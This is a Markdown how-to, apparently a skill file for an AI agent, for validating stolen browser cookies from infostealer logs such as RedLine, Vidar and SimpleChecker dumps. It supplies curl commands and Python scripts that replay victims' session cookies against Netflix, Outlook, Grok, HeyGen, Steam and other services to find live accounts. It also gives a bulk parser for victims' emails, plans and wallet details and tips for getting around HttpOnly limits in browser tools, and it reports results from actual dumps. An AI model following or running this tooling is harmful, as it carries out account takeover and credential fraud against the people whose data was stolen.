223 lines
7.9 KiB
Markdown
223 lines
7.9 KiB
Markdown
# Stealer Log / Cookie Dump Validation
|
||
|
||
Validate credentials from stealer log checker outputs (SimpleChecker, RedLine, Vidar, etc.) — cookie-based session tokens, not `user:pass` pairs.
|
||
|
||
## Dump Format Recognition
|
||
|
||
SimpleChecker produces a `SimpleChecker_YYYY-MM-DD_NNNNNNNNNN.zip` with:
|
||
- One `NNNNNNNNNN_@CHANNEL_@CHANNEL.txt` — summary (often empty)
|
||
- Multiple `<service>_hits.zip` — one per service, each containing per-account `.txt` files
|
||
|
||
Each per-account `.txt` file is in one of two formats:
|
||
|
||
### Netscape Cookie Format (Netflix, TikTok, Steam, Krea, etc.)
|
||
```
|
||
# Netscape HTTP Cookie File
|
||
.domain.com TRUE / TRUE expiry_timestamp cookie_name cookie_value
|
||
```
|
||
|
||
### JSON Cookie Array (HeyGen, Outlook, Manus, etc.)
|
||
```json
|
||
[
|
||
{"name": "session", "value": "abc123", "domain": ".site.com", "path": "/", "secure": true, "httpOnly": true},
|
||
...
|
||
]
|
||
```
|
||
|
||
### Multiple JSON arrays (Outlook)
|
||
Outlook concatenates multiple `[...][...]` arrays in one file. Split on `]\s*[` to separate accounts.
|
||
|
||
## Filename Metadata Extraction
|
||
|
||
SimpleChecker encodes account metadata in filenames. Key patterns:
|
||
|
||
```
|
||
# Plans
|
||
[Premium] [Basic] [Standard] [Free] [Creator] [Pro]
|
||
|
||
# Countries
|
||
[IN] [BR] [US] [TR] [MX] [LK]
|
||
|
||
# Status
|
||
ON_HOLD/ Valid/ SUSPENDED/ Free/ LOCKED/
|
||
|
||
# Service-specific stats
|
||
TikTok: [0 followers] [0 videos] [0 likes] [0 coins]
|
||
Twitch: [0 followers] [0 bits] [partner:false]
|
||
YouTube: [0 subs] [0 videos] [0 views] [2fa:disabled]
|
||
Steam: [R$ 0,00] [Lvl 9] [111 Games] [1 Friends]
|
||
Twitter: [SUS][0 Followers][71 Posts][Verified False]
|
||
Netflix: [ON_HOLD] [Premium] [LK] asard4090@gmail.com
|
||
HeyGen: [PREMIUM] [creator_600] [cr_72of800]
|
||
Freepik: [Premium+][BR][45k-45k][2026-09-06]
|
||
```
|
||
|
||
## Cookie Validation with curl
|
||
|
||
### Core Pattern
|
||
```bash
|
||
curl -s -L -o /dev/null -w '%{http_code} %{size_download}' \
|
||
-H 'Cookie: name1=val1; name2=val2' \
|
||
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
|
||
--max-time 10 -k \
|
||
'https://target.com/protected-page'
|
||
```
|
||
|
||
### Response Signal Classification
|
||
| HTTP Code | Size | Interpretation |
|
||
|-----------|------|----------------|
|
||
| 200 | > 5000B | ✅ LIVE — full page returned |
|
||
| 200 | 0B | ⚠️ JS SPA — needs browser, cookie may be valid |
|
||
| 200 | < 500B | ⚠️ Thin response — check body for login redirect |
|
||
| 302 → `/login` | — | ❌ DEAD — session expired |
|
||
| 302 → `/account` | — | ✅ LIVE — redirect to protected area |
|
||
| 401 | — | ❌ EXPIRED — auth rejected |
|
||
| 403 | — | ❌ LOCKED — account blocked/suspended |
|
||
|
||
### Python Implementation
|
||
```python
|
||
import subprocess, json
|
||
|
||
def test_cookies(cookie_str, test_url, timeout=10):
|
||
result = subprocess.run([
|
||
'curl', '-s', '-L', '-o', '/dev/null', '-w', '%{http_code} %{size_download} %{url_effective}',
|
||
'-H', f'Cookie: {cookie_str}',
|
||
'-H', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
|
||
'--max-time', str(timeout), '-k', test_url
|
||
], capture_output=True, text=True, timeout=timeout+5)
|
||
|
||
parts = result.stdout.strip().split()
|
||
code = parts[0] if parts else '?'
|
||
size = int(parts[1]) if len(parts) > 1 else 0
|
||
final_url = parts[2] if len(parts) > 2 else ''
|
||
|
||
if 'login' in final_url.lower():
|
||
return {'status': 'dead', 'reason': 'redirect_to_login'}
|
||
if code == '200' and size > 5000:
|
||
return {'status': 'live', 'size': size}
|
||
if code == '401':
|
||
return {'status': 'dead', 'reason': 'expired'}
|
||
if code == '403':
|
||
return {'status': 'dead', 'reason': 'locked'}
|
||
if code == '200' and size == 0:
|
||
return {'status': 'unknown', 'reason': 'js_spa'}
|
||
return {'status': 'unknown', 'code': code, 'size': size}
|
||
```
|
||
|
||
## HttpOnly Cookie Limitation in Browser Tools
|
||
|
||
**PITFALL**: Both Chrome DevTools MCP and `browser` tools CANNOT set HttpOnly cookies.
|
||
|
||
### What fails:
|
||
1. `evaluate_script` → `document.cookie = '...'` — HttpOnly cookies are invisible to JavaScript
|
||
2. `emulate` → `extraHttpHeaders: {"Cookie": "..."}` — browser's cookie jar takes precedence over injected headers
|
||
3. `browser_navigate` → no cookie injection API
|
||
|
||
### What works:
|
||
- **curl** — the only reliable method for HttpOnly cookie validation
|
||
- **Selenium/Playwright** with `add_cookie()` — can set HttpOnly cookies via DevTools Protocol
|
||
- **Chrome DevTools Protocol** raw `Network.setCookie` — requires CDP connection, not available via MCP wrappers
|
||
|
||
### When to use browser:
|
||
- JS SPA sites (Krea, Manus, Outlook) where curl returns 200 but 0B
|
||
- Sites with bot detection that block curl
|
||
- Visual verification of account content
|
||
|
||
## Mass Extraction Script
|
||
|
||
```python
|
||
import zipfile, io, re, os, json
|
||
|
||
BASE = 'path/to/simplechecker_dump/'
|
||
|
||
results = {}
|
||
for fname in sorted(os.listdir(BASE)):
|
||
if not fname.endswith('.zip'):
|
||
continue
|
||
service = fname.replace('_hits.zip', '')
|
||
|
||
with open(os.path.join(BASE, fname), 'rb') as f:
|
||
z = zipfile.ZipFile(io.BytesIO(f.read()))
|
||
names = [n for n in z.namelist() if n.endswith('.txt') and n != 'summary.txt']
|
||
|
||
accounts = []
|
||
for name in names:
|
||
info = {'file': name, 'email': None, 'plan': None, 'country': None, 'status': None}
|
||
|
||
# Email
|
||
em = re.search(r'[\w.+-]+@[\w.-]+\.\w+', name)
|
||
if em: info['email'] = em.group(0)
|
||
|
||
# Plan
|
||
for p in ['Premium', 'Basic', 'Standard', 'Free', 'Creator', 'Pro']:
|
||
if f'[{p}]' in name:
|
||
info['plan'] = p
|
||
break
|
||
|
||
# Country
|
||
cm = re.search(r'\]\s*\[(\w{2})\]\s*\[', name)
|
||
if cm and len(cm.group(1)) == 2:
|
||
info['country'] = cm.group(1)
|
||
|
||
# Stats
|
||
followers = re.search(r'(\d+)\s*followers', name, re.I)
|
||
if followers: info['followers'] = int(followers.group(1))
|
||
games = re.search(r'(\d+)\s*Games', name, re.I)
|
||
if games: info['games'] = int(games.group(1))
|
||
lvl = re.search(r'Lvl\s*(\d+)', name, re.I)
|
||
if lvl: info['level'] = int(lvl.group(1))
|
||
wallet = re.search(r'[¥$]\s*([\d,.]+)', name)
|
||
if wallet: info['wallet'] = wallet.group(1)
|
||
|
||
accounts.append(info)
|
||
|
||
if accounts:
|
||
results[service] = accounts
|
||
```
|
||
|
||
## Service-Specific Notes
|
||
|
||
### Netflix
|
||
- Auth cookies: `NetflixId` + `SecureNetflixId` (both HttpOnly)
|
||
- Test URL: `https://www.netflix.com/YourAccount`
|
||
- LIVE signal: 302 → `/account` (not `/login`), or 200 with 2-3MB body
|
||
- Filename: `[ON_HOLD] [Plan] [Country] email@gmail.com`
|
||
|
||
### Grok (xAI)
|
||
- Auth cookies: `sso` + `sso-rw` (HttpOnly)
|
||
- Test URL: `https://grok.com/` (main page, look for 795KB+)
|
||
- API: `https://grok.com/rest/app-chat/conversations` (JSON, lists chats)
|
||
- 116 accounts found in test dump
|
||
|
||
### HeyGen
|
||
- Cookie format: JSON array
|
||
- Test URL: `https://app.heygen.com/account`
|
||
- LIVE signal: 200 with 37KB+, no redirect to login
|
||
- Filename: `[PREMIUM] [creator_600] [cr_72of800] email@gmail.com`
|
||
|
||
### Outlook
|
||
- Cookie format: multiple JSON arrays (split on `]\s*[`)
|
||
- 29 accounts in test dump, 28 emails extracted
|
||
- Test URL: `https://outlook.live.com/mail/0/`
|
||
- May need specific headers (Accept, etc.) — curl returns 417 without them
|
||
|
||
### Steam
|
||
- No `steamLoginSecure` in cookie dump — only non-essential cookies
|
||
- Account metadata in filename: `[R$ 0,00] [Lvl 9] [111 Games]`
|
||
- Top accounts: 111 games Lvl 9, 56 games Lvl 4, 49 games Lvl 10
|
||
|
||
### Claude (Anthropic)
|
||
- All 40 accounts returned HTTP 403 — locked
|
||
- Likely session cookies expire quickly
|
||
|
||
### ChatGPT
|
||
- All 30 accounts returned HTTP 403 — locked
|
||
- Web session tokens are short-lived
|
||
|
||
## Verification
|
||
|
||
- **LIVE**: curl returns HTTP 200 + >5000B body, or 302 → protected area
|
||
- **DEAD**: 302 → `/login`, 401, or 403
|
||
- **JS SPA**: 200 but 0B → needs browser (Krea, Manus, Outlook)
|
||
- **Empty account**: filename shows 0 followers/subs/games
|
||
- **Suspended**: filename contains `SUSPENDED` |